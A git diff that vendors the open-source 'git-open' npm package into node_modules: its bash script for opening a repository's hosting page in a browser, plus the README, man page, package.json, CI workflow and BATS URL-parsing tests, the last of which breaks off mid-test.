+ with: + fetch-depth: 100 + + - uses: actions/setup-node@v3 + with: + node-version: latest + + - run: npm ci + + - name: Setup BATS + uses: mig4/setup-bats@v1 + with: + bats-version: 0.4.0 # This is the version i have locally. looks like an upgrade is in order, though… + - run: git submodule update --init + name: pull in bats assertion libs + + - run: npm run lint + - run: npm run shellcheck + - run: npm run unit diff --git a/node_modules/git-open/.gitmodules b/node_modules/git-open/.gitmodules new file mode 100644 index 0000000..76dfa52 --- /dev/null +++ b/node_modules/git-open/.gitmodules @@ -0,0 +1,6 @@ +[submodule "test/test_helper/bats-assert"] + path = test/test_helper/bats-assert + url = https://github.com/ztombol/bats-assert +[submodule "test/test_helper/bats-support"] + path = test/test_helper/bats-support + url = https://github.com/ztombol/bats-support diff --git a/node_modules/git-open/LICENSE.md b/node_modules/git-open/LICENSE.md new file mode 100644 index 0000000..8b92f87 --- /dev/null +++ b/node_modules/git-open/LICENSE.md @@ -0,0 +1,22 @@ +MIT License +=========== + +Copyright (c) 2013-2017 Jason McCreary, Paul Irish and contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/node_modules/git-open/README.md b/node_modules/git-open/README.md new file mode 100644 index 0000000..2f6834b --- /dev/null +++ b/node_modules/git-open/README.md @@ -0,0 +1,191 @@ +# git-open [![Build Status](https://img.shields.io/travis/paulirish/git-open/master.svg)](https://travis-ci.org/paulirish/git-open) + +Type `git open` to open the repo website (GitHub, GitLab, Bitbucket) in your browser. + +![Demo of git open in action](https://user-images.githubusercontent.com/39191/33507513-f60041ae-d6a9-11e7-985c-ab296d6a5b0f.gif) + +## Usage + +```sh +git open [remote-name] [branch-name] + # Open the page for this branch on the repo website + +git open --commit +git open -c + # Open the current commit in the repo website + +git open --issue +git open -i + # If this branch is named like issue/#123, this will open the corresponding + # issue in the repo website + +git open --print +git open -p + # Only print the url at the terminal, but don't open it +``` + +(`git open` works with these [hosted repo providers](#supported-remote-repositories), `git open --issue` currently only works with GitHub, Visual Studio Team Services and Team Foundation Server) + +### Examples + +```sh +$ git open +# opens https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/tree/CURRENT_BRANCH + +$ git open someremote +# opens https://github.com/PROVIDED_REMOTE_USER/CURRENT_REPO/tree/CURRENT_BRANCH + +$ git open someremote somebranch +# opens https://github.com/PROVIDED_REMOTE_USER/CURRENT_REPO/tree/PROVIDED_BRANCH + +$ git open --issue +# If branches use naming convention of issues/#123, +# opens https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/issues/123 + +$ git open --print +# prints https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/tree/CURRENT_BRANCH + +$ git open --suffix pulls +# opens https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/pulls +``` + +## Installation + +### Basic install + +The preferred way of installation is to simply add the `git-open` script +somewhere into your path (e.g. add the directory to your `PATH` environment +or copy `git-open` into an existing included path like `/usr/local/bin`). + +### Install via NPM: + +```sh +npm install --global git-open +``` + +### Windows Powershell + +Save git-open anywhere, say as ~/Documents/Scripts/git-open.sh and define +a function in your Powershell profile (see ~/Documents/WindowsPowerShell/profile.ps1) like this: + +```sh +function git-open { cmd /c "C:\Program Files\Git\usr\bin\bash.exe" "~/Documents/Scripts/git-open.sh" } +Set-Alias -Name gop -Value git-open +``` + +### Windows with `cmd` terminal + +Save the `git-open` script in any place accessible via your `%PATH%` environment var. + +### ZSH + +#### [Antigen](https://github.com/zsh-users/antigen) + +Add `antigen bundle paulirish/git-open` to your `.zshrc` with your other bundle +commands. + +Antigen will handle cloning the plugin for you automatically the next time you +start zsh, and periodically checking for updates to the git repository. You can +also add the plugin to a running zsh with `antigen bundle paulirish/git-open` +for testing before adding it to your `.zshrc`. + +#### [Oh-My-Zsh](http://ohmyz.sh/) + +1. `git clone https://github.com/paulirish/git-open.git $ZSH_CUSTOM/plugins/git-open` +1. Add `git-open` to your plugin list - edit `~/.zshrc` and change + `plugins=(...)` to `plugins=(... git-open)` + +#### [Zgen](https://github.com/tarjoilija/zgen) + +Add `zgen load paulirish/git-open` to your .zshrc file in the same function +you're doing your other `zgen load` calls in. ZGen will take care of cloning +the repository the next time you run `zgen save`, and will also periodically +check for updates to the git repository. + +#### [zplug](https://github.com/zplug/zplug) + +`zplug "paulirish/git-open", as:plugin` + +## Supported remote repositories + +git-open can automatically guess the corresponding repository page for remotes +(default looks for `origin`) on the following hosts: + +- github.com +- gist.github.com +- gitlab.com +- GitLab custom hosted (see below) +- bitbucket.org +- Atlassian Bitbucket Server (formerly _Atlassian Stash_) +- Visual Studio Team Services +- Team Foundation Server (on-premises) +- AWS Code Commit + +## Configuration + +See the [man page](git-open.1.md) for more information on how to configure `git-open`. + +## Alternative projects + +See [hub](https://github.com/github/hub) for complete GitHub opening support. +It's the official GitHub project and provides `hub browse`. + +[Homebrew has an alternate git-open](https://github.com/jeffreyiacono/git-open) +that only works with GitHub but can open user profile pages, too. + +@[gerep has an alternate git-open](https://github.com/gerep/git-open) that +works with a few providers. Of note, it opens the default view for BitBucket +instead of the source view. + +And, of course, [jasonmccreary's original gh](https://github.com/jasonmccreary/gh) +from which this plugin was forked. + +## Thanks + +[jasonmccreary](https://github.com/jasonmccreary/) did [the initial hard work](https://github.com/jasonmccreary/gh). Since then, [many contributors](https://github.com/paulirish/git-open/graphs/contributors) have submitted great PRs. + +## Contributing & Development + +Please provide examples of the URLs you are parsing with each PR. + +### Testing: + +You'll need to install [bats](https://github.com/sstephenson/bats#installing-bats-from-source), the Bash automated testing system. It's also available as `brew install bats` + +```sh +git submodule update --init # pull in the assertion libraries + +# Run the test suite once: +bats test # or `npm run unit` + +# Run it on every change with `entr` +brew install entr +npm run watch +``` + +## Related projects + +- [`git recent`](https://github.com/paulirish/git-recent) - View your most recent git branches +- [`diff-so-fancy`](https://github.com/so-fancy/diff-so-fancy/) - Making the output of `git diff` so fancy + +## License + +Copyright Jason McCreary & Paul Irish. Licensed under MIT. + + +## Changelog + + +- **2018-12-03** - [2.1.0 shipped](https://github.com/paulirish/git-open/releases/tag/v2.1.0). +- **2017-12-01** - [2.0 shipped](https://github.com/paulirish/git-open/releases/tag/v2.0.0). Breaking change: [Gitlab configuration](https://github.com/paulirish/git-open#configuration) handled differently. +- **2017-12-01** - Configuration for custom remote added +- **2017-11-30** - Support for VSTS Added +- **2017-10-31** - `--issue` and `-h` added +- **2017-10-30** - Configuration for custom domains added +- **2017-10-30** - WSL support added +- **2017-06-16** - Introduced a test suite in BATS +- **2017-06-15** - Entire script rewritten and simplified by @dermagia +- **2016-07-23** - Readme: fix oh-my-zsh install instructions +- **2016-07-22** - 1.1.0 shipped. update and add linters for package.json, readme. +- **2016-07-11** - Readme formatting and installation instructions updated. Changelog started + diff --git a/node_modules/git-open/changelog.md b/node_modules/git-open/changelog.md new file mode 100644 index 0000000..93cfe9c --- /dev/null +++ b/node_modules/git-open/changelog.md @@ -0,0 +1,26 @@ +## [Version 2.1.0](https://github.com/paulirish/git-open/releases/tag/v2.1.0) (2018-12-3) +[Full changelog](https://github.com/paulirish/git-open/compare/v2.0.0...v2.1.0) + +### New features + +- Support opening current tag / commit: [#130](https://github.com/paulirish/git-open/pull/130) +- Add man page: [#110](https://github.com/paulirish/git-open/pull/110) +- Add support for sshconfig expansion: [#109](https://github.com/paulirish/git-open/pull/109) +- Add support for Bitbucket Server with different root context: [#113](https://github.com/paulirish/git-open/pull/113) +- Add support for AWS Code commit.: [#128](https://github.com/paulirish/git-open/pull/128) + +### Bug fixes + +- Fix bug with open -i on default VSTS project repo: [`67b72ac`](https://github.com/paulirish/git-open/commit/67b72ac), [`aea6e3e`](https://github.com/paulirish/git-open/commit/aea6e3e) +- Use ls-remote --get-url to get remote url: [`740222b`](https://github.com/paulirish/git-open/commit/740222b) +- Fix shellcheck: [`775361b`](https://github.com/paulirish/git-open/commit/775361b) +- Fix incompatability with bash < 4: [`895240f`](https://github.com/paulirish/git-open/commit/895240f) +- Swap uppercase/lowercase for ssh feature: [`995e915`](https://github.com/paulirish/git-open/commit/995e915) ([#123](https://github.com/paulirish/git-open/issues/123)) +- Remove openopt, allow spaces in $BROWSER: [`96c80ff`](https://github.com/paulirish/git-open/commit/96c80ff) +- readme: One liner install for oh-my-zsh: [`29434cd`](https://github.com/paulirish/git-open/commit/29434cd) +- deps: change markdownlint to markdownlint-cli: [`702b8a6`](https://github.com/paulirish/git-open/commit/702b8a6), [`5b815cb`](https://github.com/paulirish/git-open/commit/5b815cb) + + +--- + +Generated by [changelog.md](https://github.com/egoist/changelog.md) diff --git a/node_modules/git-open/git-open b/node_modules/git-open/git-open new file mode 100644 index 0000000..bc3d121 --- /dev/null +++ b/node_modules/git-open/git-open @@ -0,0 +1,272 @@ +#!/usr/bin/env bash + +# Use git-sh-setup, similar to git-rebase +# https://www.kernel.org/pub/software/scm/git/docs/git-sh-setup.html +# https://github.com/git/git/blob/master/git-rebase.sh +# shellcheck disable=SC2034 +OPTIONS_STUCKLONG=t +# shellcheck disable=SC2034 +OPTIONS_KEEPDASHDASH= +# shellcheck disable=SC2034 +OPTIONS_SPEC="\ +git open [options] +git open [remote] [branch] +-- + Opens the GitHub page for a repo/branch in your browser. + https://github.com/paulirish/git-open/ + + Available options are +c,commit! open current commit +i,issue! open issues page +s,suffix= append this suffix +p,print! just print the url +" + +# https://github.com/koalaman/shellcheck/wiki/SC1090 +# shellcheck source=/dev/null +SUBDIRECTORY_OK='Yes' . "$(git --exec-path)/git-sh-setup" + +# Defaults +is_commit=0 +is_issue=0 +protocol="https" +print_only=0 +suffix_flag="" + +while test $# != 0; do + case "$1" in + --commit) is_commit=1;; + --issue) is_issue=1;; + --suffix=*) suffix_flag="$1";; + --print) print_only=1;; + --) shift; break ;; + esac + shift +done + +# parse suffix from suffix=value +IFS='=' read -ra suffix_flag <<< "$suffix_flag" +function join_by { local IFS="$1"; shift; echo "$*"; } +suffix=$(join_by "=" "${suffix_flag[@]:1}") + +# are we in a git repo? +if ! git rev-parse --is-inside-work-tree &>/dev/null; then + echo "Not a git repository." 1>&2 + exit 1 +fi + +# choose remote. priority to: provided argument, default in config, detected tracked remote, 'origin' +branch=${2:-$(git symbolic-ref -q --short HEAD)} +upstream_branch_full_name=$(git config "branch.$branch.merge") +upstream_branch=${upstream_branch_full_name#"refs/heads/"} +tracked_remote=$(git config "branch.$branch.remote") +default_remote=$(git config open.default.remote) +remote=${1:-$default_remote} +remote=${remote:-$tracked_remote} +remote=${remote:-"origin"} + +giturl=$(git ls-remote --get-url "$remote") + +if [[ -z "$giturl" ]]; then + echo "Git remote is not set for $remote" 1>&2 + exit 1 +fi + +ssh_config=${ssh_config:-"$HOME/.ssh/config"} +# Resolves an ssh alias defined in ssh_config to it's corresponding hostname +# echos out result, should be used within subshell $( ssh_resolve $host ) +# echos out nothing if alias could not be resolved +function ssh_resolve() { + domain="$1" + ssh_found=true + # Filter to only ssh_config lines that start with "Host" or "HostName" + resolved=$(while read -r ssh_line; do + # Split each line by spaces, of the form: + # Host alias [alias...] + # Host regex + # HostName resolved.domain.com + read -r -a ssh_array <<<"${ssh_line}" + ssh_optcode="$(echo "${ssh_array[0]}" | tr '[:lower:]' '[:upper:]')" + if [[ $ssh_optcode == HOST ]]; then + # Host + ssh_found=false + # Iterate through aliases looking for a match + for ssh_index in $(seq 1 $((${#ssh_array[@]} - 1))); do + ssh_host=${ssh_array[$ssh_index]} + # shellcheck disable=SC2053 + if [[ $domain == $ssh_host ]]; then + # Found a match, next HostName entry will be returned while matched + ssh_found=true + break + fi + done + elif $ssh_found && [[ $ssh_optcode == HOSTNAME ]]; then + # HostName, but only if ssh_found is true (the last Host entry matched) + # Replace all instances of %h with the Host alias + echo "${ssh_array[1]//%h/$domain}" + fi + done < <(grep -iE "^\\s*Host(Name)?\\s+" "$ssh_config")) + # Take only the last resolved hostname (multiple are overridden) + tail -1 <<<"$resolved" +} + +# From git-fetch(5), native protocols: +# ssh://[user@]host.xz[:port]/path/to/repo.git/ +# git://host.xz[:port]/path/to/repo.git/ +# http[s]://host.xz[:port]/path/to/repo.git/ +# ftp[s]://host.xz[:port]/path/to/repo.git/ +# [user@]host.xz:path/to/repo.git/ - scp-like but is an alternative to ssh. +# [user@]hostalias:path/to/repo.git/ - handles host aliases defined in ssh_config(5) + +# Determine whether this is a url (https, ssh, git+ssh...) or an scp-style path +if [[ "$giturl" =~ ^[a-z\+]+://.* ]]; then + # Trim URL scheme and possible username + gitprotocol=${giturl%%://*} + uri=${giturl#*://} + uri=${uri#*@} + + # Split on first '/ to get server name and path + domain=${uri%%/*} + urlpath=${uri#*/} + + # Remove port number from non-http/https protocols (ie, ssh) + if [[ $gitprotocol != 'https' && $gitprotocol != 'http' ]]; then + domain=${domain%:*} + fi +else + # Trim possible username from SSH path + uri=${giturl##*@} + + # Split on first ':' to get server name and path + domain=${uri%%:*} + urlpath=${uri#*:} + + # Resolve sshconfig aliases + if [[ -e "$ssh_config" ]]; then + domain_resolv=$(ssh_resolve "$domain") + if [[ -n "$domain_resolv" ]]; then + domain="$domain_resolv" + fi + fi +fi + +# Trim "/" from beginning of URL; "/" and ".git" from end of URL +urlpath=${urlpath#/} urlpath=${urlpath%/} urlpath=${urlpath%.git} + +# If the URL is provided as "http", preserve that +if [[ $gitprotocol == 'http' ]]; then + protocol='http' +fi + +# Allow config options to replace the server or the protocol +openurl="$protocol://$domain" + +function getConfig() { + config=$(git config --get-urlmatch "open.$1" "$openurl") + echo "${config:-${!1}}" +} + +domain=$(getConfig "domain") +protocol=$(getConfig "protocol") + +# Remote ref to open +remote_ref=${upstream_branch:-${branch:-$(git describe --tags --exact-match 2>/dev/null || git rev-parse HEAD)}} + +# Split arguments on '/' +IFS='/' read -r -a pathargs <<<"$urlpath" + +if (( is_issue )); then + # For issues, take the numbers and preprend 'issues/' + [[ $remote_ref =~ [0-9]+ ]] + providerBranchRef="/issues/${BASH_REMATCH[0]}" +else + # Make # and % characters url friendly + # github.com/paulirish/git-open/pull/24 + remote_ref=${remote_ref//%/%25} remote_ref=${remote_ref//#/%23} + providerBranchRef="/tree/$remote_ref" +fi + +if [[ "$domain" == 'bitbucket.org' ]]; then + providerBranchRef="/src/$remote_ref" +elif [[ "${#pathargs[@]}" -ge 3 && ${pathargs[${#pathargs[@]} - 3]} == 'scm' ]]; then + # Bitbucket server always has /scm/ as the third to last segment in the url path, e.g. /scm/ppp/test-repo.git + # Anything before the 'scm' is part of the server's root context + + # If there are other context parts, add them, up to (but not including) the found 'scm' + pathPref=("${pathargs[*]:0:${#pathargs[@]} - 3}") + + # Replace the 'scm' element, with 'projects'. Keep the first argument, the string 'repos', and finally the rest of the arguments. + # shellcheck disable=SC2206 + pathargs=(${pathPref[@]} 'projects' ${pathargs[${#pathargs[@]} - 2]} 'repos' "${pathargs[@]:${#pathargs[@]} - 1}") + IFS='/' urlpath="${pathargs[*]}" + providerBranchRef="/browse?at=$remote_ref" +elif [[ "${#pathargs[@]}" -ge '2' && ${pathargs[${#pathargs[@]} - 2]} == '_git' ]]; then + # Visual Studio Team Services and Team Foundation Server always have /_git/ as the second to last segment in the url path + if (( is_issue )); then + # Switch to workitems, provide work item id if specified + urlpath="${urlpath%%/_git/*}/_workitems" + # Handle case for the default repository url + urlpath="${urlpath#_git\/*}" + providerBranchRef="?id=${remote_ref//[^0-9]/}" + else + # Keep project and repository name, append branch selector. + providerBranchRef="?version=GB$remote_ref" + fi +elif [[ "$domain" =~ amazonaws\.com$ ]]; then + # AWS Code Commit + if (( is_issue )); then + echo "Issue feature does not supported on AWS Code Commit." 1>&2 + exit 1 + fi + + # Take region name from domain. + region=${domain#*.} + region=${region%%.*} + + # Replace domain. + # Ex. git-codecommit.us-east-1.amazonaws.com -> us-east-1.console.aws.amazon.com + domain="${region}.console.aws.amazon.com" + + # Replace URL path. + # Ex. v1/repos/example -> codecommit/home?region=us-east-1#/repository/example/browse/ + urlpath="codecommit/home?region=${region}#/repository/${urlpath##*/}/browse/" + + # Replace branch ref. + # Ex. /tree/foobar -> foobar/--/ + providerBranchRef="${providerBranchRef##*/}/--/" +fi + +openurl="$protocol://$domain/$urlpath" + +if (( is_commit )); then + sha=$(git rev-parse HEAD) + openurl="$openurl/commit/$sha" +elif [[ $remote_ref != "master" ]]; then + # simplify URL for master + openurl="$openurl$providerBranchRef" +fi + +if [ "$suffix" ]; then + openurl="$openurl/$suffix" +fi + +# get current open browser command +case $( uname -s ) in + Darwin) open='open';; + MINGW*) open='start';; + MSYS*) open='start';; + CYGWIN*) open='cygstart';; + *) # Try to detect WSL (Windows Subsystem for Linux) + if uname -r | grep -q -i Microsoft; then + open='powershell.exe -NoProfile Start' + else + open='xdg-open' + fi;; +esac + +if (( print_only )); then + BROWSER="echo" +fi + +# open it in a browser +${BROWSER:-$open} "$openurl" diff --git a/node_modules/git-open/git-open.1.md b/node_modules/git-open/git-open.1.md new file mode 100644 index 0000000..5c63db3 --- /dev/null +++ b/node_modules/git-open/git-open.1.md @@ -0,0 +1,164 @@ +# git-open - Open the repository's website in your browser. + + +## SYNOPSIS + +`git open` [--issue] [--commit] [--suffix some_suffix] [remote-name] [branch-name] + + +## DESCRIPTION + +`git open` opens the repository's website in your browser. The major well known +git hosting services are supported. + + +## OPTIONS + +`-c`, `--commit` + Open the current commit. See `EXAMPLES` for more information. + Only tested with GitHub & GitLab. + +`-i`, `--issue` + Open the current issue. When the name of the current branch matches the right pattern, + it will open the webpage with that issue. See `EXAMPLES` for more information. + This only works on GitHub, GitLab, Visual Studio Team Services and Team Foundation Server at the moment. + +`-s`, `--suffix` some_suffix + Append the given suffix to the url + +`-p`, `--print` + Just print the URL. Do not open it in browser. + +`-h` + Show a short help text. + +## EXAMPLES + +```sh +git open +``` + +It opens https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/ + +```sh +git open someremote +``` + +It opens https://github.com/PROVIDED_REMOTE_USER/CURRENT_REPO/ + +```sh +git open someremote somebranch +``` + +It opens https://github.com/PROVIDED_REMOTE_USER/CURRENT_REPO/tree/PROVIDED_BRANCH + +```sh +git open --issue +``` + +If branches use naming convention of `issues/#123`, it opens +https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/issues/123 + +```sh +git open --suffix pulls +``` + +It opens the URL https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/pulls + +```sh +git open --print +``` + +It prints the URL https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/ + +```sh +git open --commit +``` + +Supposing that the current sha is `2ddc8d4548d0cee3d714dcf0068dbec5b168a9b2`, it opens +https://github.com/TRACKED_REMOTE_USER/CURRENT_REPO/commit/2ddc8d4548d0cee3d714dcf0068dbec5b168a9b2 + + +## SUPPORTED GIT HOSTING SERVICES + +git-open can automatically guess the corresponding repository page for remotes +on the following git hosting services: + +- github.com +- gist.github.com +- gitlab.com +- GitLab CE/EE (self hosted GitLab, see `CONFIGURATION`) +- bitbucket.org +- Atlassian Bitbucket Server (formerly _Atlassian Stash_) +- Visual Studio Team Services +- Team Foundation Server (on-premises) + + +## CONFIGURATION + +To configure git-open you may need to set some `git config` options. +You can use `--global` to set across all repos, instead of just the current repo. + +```sh +git config [--global] option value +``` + +### Configuring which remote to open + +By default, `git open` opens the remote named `origin`. However, if your current branch is remotely-tracking a different remote, that tracked remote will be used. + +In some instances, you may want to override this behavior. When you fork a project +and add a remote named `upstream` you often want that upstream to be opened +rather than your fork. To accomplish this, you can set the `open.default.remote` within your project: + +```sh +git config open.default.remote upstream +``` + +This is equivalent to always typing `git open upstream`. + + +### GitLab options + +To configure GitLab support (or other unique hosting situations) you may need to set some options. + +`open.[gitdomain].domain` + The (web) domain to open based on the provided git repo domain. + +`open.[gitdomain].protocol` + The (web) protocol to open based on the provided git repo domain. Defaults to `https`. + +```sh +git config [--global] open.[gitdomain].domain [value] +git config [--global] open.[gitdomain].protocol [value] +``` + +**Example** + +- Your git remote is at `ssh://git@git.internal.biz:7000/XXX/YYY.git` +- Your hosted gitlab is `http://repo.intranet/subpath/XXX/YYY` + +```sh +git config [--global] "open.https://git.internal.biz.domain" "repo.intranet/subpath" +git config [--global] "open.https://git.internal.biz.protocol" "http" +``` + + +## DEBUGGING + +You can run `git-open` in `echo` mode, which doesn't open your browser, but just prints the URL to stdout: + +```sh +env BROWSER='echo' ./git-open +``` + + +## AUTHORS + +Jason McCreary did the initial hard work. Paul Irish based his project on his work. +Since then many contributors have submitted great PRs. + + +## SEE ALSO + +git(1), git-remote(1), git-config(1), [Project page](https://github.com/paulirish/git-open) diff --git a/node_modules/git-open/git-open.plugin.zsh b/node_modules/git-open/git-open.plugin.zsh new file mode 100644 index 0000000..49fbb9f --- /dev/null +++ b/node_modules/git-open/git-open.plugin.zsh @@ -0,0 +1,6 @@ +# This plugin is MIT licensed to match the git-open license. +# +# Make git-open easy to install and keep up to date if you're using a +# ZSH framework like Zgen or Antigen + + export PATH=$(dirname $0):${PATH} diff --git a/node_modules/git-open/issue_template.md b/node_modules/git-open/issue_template.md new file mode 100644 index 0000000..293268c --- /dev/null +++ b/node_modules/git-open/issue_template.md @@ -0,0 +1,9 @@ +If an incorrect URL is opened, please provide the following so we can write a test: + +#### Example clone url: + +#### Example branch name: + +#### Expected web URL: + + diff --git a/node_modules/git-open/markdownlint.json b/node_modules/git-open/markdownlint.json new file mode 100644 index 0000000..334bf87 --- /dev/null +++ b/node_modules/git-open/markdownlint.json @@ -0,0 +1,15 @@ +{ + "default": true, + "MD002": false, + "MD003": { "style": "atx" }, + "MD004": { "style": "dash" }, + "MD007": { "indent": 4 }, + "MD009": false, + "MD012": false, + "MD013": false, + "MD026": false, + "MD033": false, + "MD034": false, + "MD036": false, + "MD041": false +} diff --git a/node_modules/git-open/package.json b/node_modules/git-open/package.json new file mode 100644 index 0000000..af43c63 --- /dev/null +++ b/node_modules/git-open/package.json @@ -0,0 +1,51 @@ +{ + "name": "git-open", + "version": "3.0.0", + "description": "Type `git open` to open the GitHub/GitLab/Bitbucket homepage for a repository.", + "author": "Paul Irish (http://paulirish.com/)", + "license": "MIT", + "homepage": "https://github.com/paulirish/git-open", + "bugs": { + "url": "https://github.com/paulirish/git-open/issues" + }, + "repository": { + "type": "git", + "url": "https://github.com/paulirish/git-open.git" + }, + "contributors": [ + "Paul Irish (http://paulirish.com/)", + "Jason McCreary (http://jason.pureconcepts.net/)", + "David O'Trakoun (https://davidosomething.com/)" + ], + "keywords": [ + "git", + "cli" + ], + "engines": { + "node": ">=0.10.3", + "npm": ">=2.0.0" + }, + "preferGlobal": true, + "bin": { + "git-open": "git-open", + "git-home": "git-open" + }, + "man": "./git-open.1", + "scripts": { + "lint:editorconfig": "eclint check ./git-open *.md *.yml", + "lint:readme": "markdownlint --config markdownlint.json README.md", + "lint:man": "markdownlint --config markdownlint.json git-open.1.md", + "man": "marked-man --version \"git-open $npm_package_version\" --manual \"Git manual\" --section 1 git-open.1.md > git-open.1", + "unit": "bats test/", + "shellcheck": "shellcheck ./git-open", + "lint": "npm run lint:readme && npm run lint:man && npm run lint:editorconfig", + "test": "npm run unit && npm run lint", + "watch": "find . -maxdepth 2 -iname '*bats' -o -iname 'git-open' | entr bats test/", + "prepublishOnly": "npm run man && npm run test" + }, + "devDependencies": { + "eclint": "^2.1.0", + "markdownlint-cli": "^0.32.0", + "marked-man": "^0.7.0" + } +} diff --git a/node_modules/git-open/test/git-open.bats b/node_modules/git-open/test/git-open.bats new file mode 100644 index 0000000..eedb58b --- /dev/null +++ b/node_modules/git-open/test/git-open.bats @@ -0,0 +1,708 @@ +#!/usr/bin/env bats + +load "test_helper/bats-support/load" +load "test_helper/bats-assert/load" + +foldername="sandboxrepo" + +setup() { + create_git_sandbox + export BROWSER=echo +} + +## +## Test environment +## +@test "test environment" { + assert_equal "$BROWSER" "echo" + cd .. + assert [ -e "$foldername" ] + assert [ -e "$foldername/.git" ] +} + +## +## Help +## + +@test "help text" { + run ../git-open -h + assert_output --partial "usage: git open" +} + +@test "invalid option" { + run ../git-open --invalid-option + assert_output --partial "error: unknown option \`invalid-option'" + assert_output --partial "usage: git open" +} + +## +## Print +## + +@test "print url" { + git remote set-url origin "git@github.com:user/repo.git" + git checkout -B "master" + BROWSER="assert_failure" run ../git-open -p + assert_output "https://github.com/user/repo" +} + +## +## url handling +## + +@test "url: insteadOf handling" { + git config --local url.http://example.com/.insteadOf ex: + git remote set-url origin ex:example.git + git checkout -B master + run ../git-open + assert_output "http://example.com/example" +} + +## +## GitHub +## + +@test "gh: basic" { + git remote set-url origin "git@github.com:user/repo.git" + git checkout -B "master" + run ../git-open + assert_output "https://github.com/user/repo" +} + +@test "gh: branch" { + git remote set-url origin "git@github.com:user/repo.git" + git checkout -B "mybranch" + run ../git-open + assert_output "https://github.com/user/repo/tree/mybranch" +} + +@test "gh: upstream branch" { + git remote set-url origin "git@github.com:user/repo.git" + git remote add upstreamRemote "git@github.com:user/upstream-repo.git" + git checkout -B "mybranch" + git config --local "branch.mybranch.merge" "refs/heads/myupstream/mybranch" + git config --local "branch.mybranch.remote" "upstreamRemote" + run ../git-open + assert_output "https://github.com/user/upstream-repo/tree/myupstream/mybranch" +} + +@test "gh: upstream branch from param" { + git remote set-url origin "git@github.com:user/repo.git" + git remote add upstreamRemote "git@github.com:user/upstream-repo.git" + git checkout -B "mybranch" + git config --local "branch.mybranch.merge" "refs/heads/upstreamBranch" + git config --local "branch.mybranch.remote" "upstreamRemote" + git checkout master + run ../git-open upstreamRemote mybranch + assert_output "https://github.com/user/upstream-repo/tree/upstreamBranch" +} + +@test "gh: tag" { + git remote set-url origin "git@github.com:user/repo.git" + git tag mytag + echo a > a + git add a + git commit -m a + git checkout mytag + run ../git-open + assert_output "https://github.com/user/repo/tree/mytag" +} + +@test "gh: non-origin remote" { + git remote set-url origin "git@github.com:user/repo.git" + git remote add upstream "git@github.com:upstreamorg/repo.git" + run ../git-open "upstream" + assert_output "https://github.com/upstreamorg/repo" + + git checkout -B "mybranch" + run ../git-open "upstream" "otherbranch" + assert_output "https://github.com/upstreamorg/repo/tree/otherbranch" +} + +@test "gh: without git user" { + # https://github.com/paulirish/git-open/pull/63 + git remote set-url origin "github.com:paulirish/git-open.git" + run ../git-open + assert_output "https://github.com/paulirish/git-open" +} + +@test "gh: ssh origin" { + git remote set-url origin "ssh://git@github.com/user/repo" + run ../git-open + assert_output "https://github.com/user/repo" + + # https://github.com/paulirish/git-open/pull/30 + git remote set-url origin "ssh://git@github.com/user/repo.git" + run ../git-open + assert_output "https://github.com/user/repo" +} + +@test "gh: git protocol origin" { + git remote set-url origin "git://github.com/user/repo.git" + git checkout -B "master" + run ../git-open + assert_output "https://github.com/user/repo" +} + +@test "gh: git open --issue" { + # https://github.com/paulirish/git-open/pull/46 + git remote set-url origin "github.com:paulirish/git-open.git" + git checkout -B "issues/#12" + run ../git-open "--issue" + assert_output "https://github.com/paulirish/git-open/issues/12" + + git checkout -B "fix-issue-37" + run ../git-open "--issue" + assert_output "https://github.com/paulirish/git-open/issues/37" + + git checkout -B "fix-issue-38" + run ../git-open "-i" + assert_output "https://github.com/paulirish/git-open/issues/38" +} + +@test "gh: git open --commit" { + git remote set-url origin "github.com:paulirish/git-open.git" + sha=$(git rev-parse HEAD) + run ../git-open "--commit" + assert_output "https://github.com/paulirish/git-open/commit/${sha}" +} + +@test "gh: git open --suffix anySuffix" { + run ../git-open "--suffix" "anySuffix" + assert_output "https://github.com/paulirish/git-open/anySuffix" +} + +@test "gh: git open --suffix anySuffix?hello=world" { + run ../git-open "--suffix" "anySuffix?hello=world" + assert_output "https://github.com/paulirish/git-open/anySuffix?hello=world" +} + +@test "gh: gist" { + git remote set-url origin "git@gist.github.com:2d84a6db1b41b4020685.git" + run ../git-open + assert_output "https://gist.github.com/2d84a6db1b41b4020685" +} + +@test "basic: # and % in branch names are URL encoded" { + # https://github.com/paulirish/git-open/pull/24 + git checkout -B "issue-#42" + run ../git-open + assert_output "https://github.com/paulirish/git-open/tree/issue-%2342" + + git checkout -B "just-50%" + run ../git-open + assert_output "https://github.com/paulirish/git-open/tree/just-50%25" +} + +@test "basic: tracked remote is default" { + # https://github.com/paulirish/git-open/issues/65 + + # create a local git repo I can push to + remote_name="sandboxremote" + remote_url="git@github.com:userfork/git-open.git" + + # ideally we'd set a real upstream branch, but that's not possible without + # pull/push'ing over the network. So we're cheating and just setting the + # branch..remote config + # https://github.com/paulirish/git-open/pull/88#issuecomment-339813145 + git remote add $remote_name $remote_url + git config --local --add branch.master.remote $remote_name + + run ../git-open + assert_output "https://github.com/userfork/git-open" + + git config --local --add branch.master.remote origin + run ../git-open + assert_output "https://github.com/paulirish/git-open" +} + +@test "basic: https url can contain port" { + git remote set-url origin "https://github.com:99/user/repo.git" + run ../git-open + assert_output "https://github.com:99/user/repo" +} + +@test "basic: ssh url has port removed from http url" { + git remote 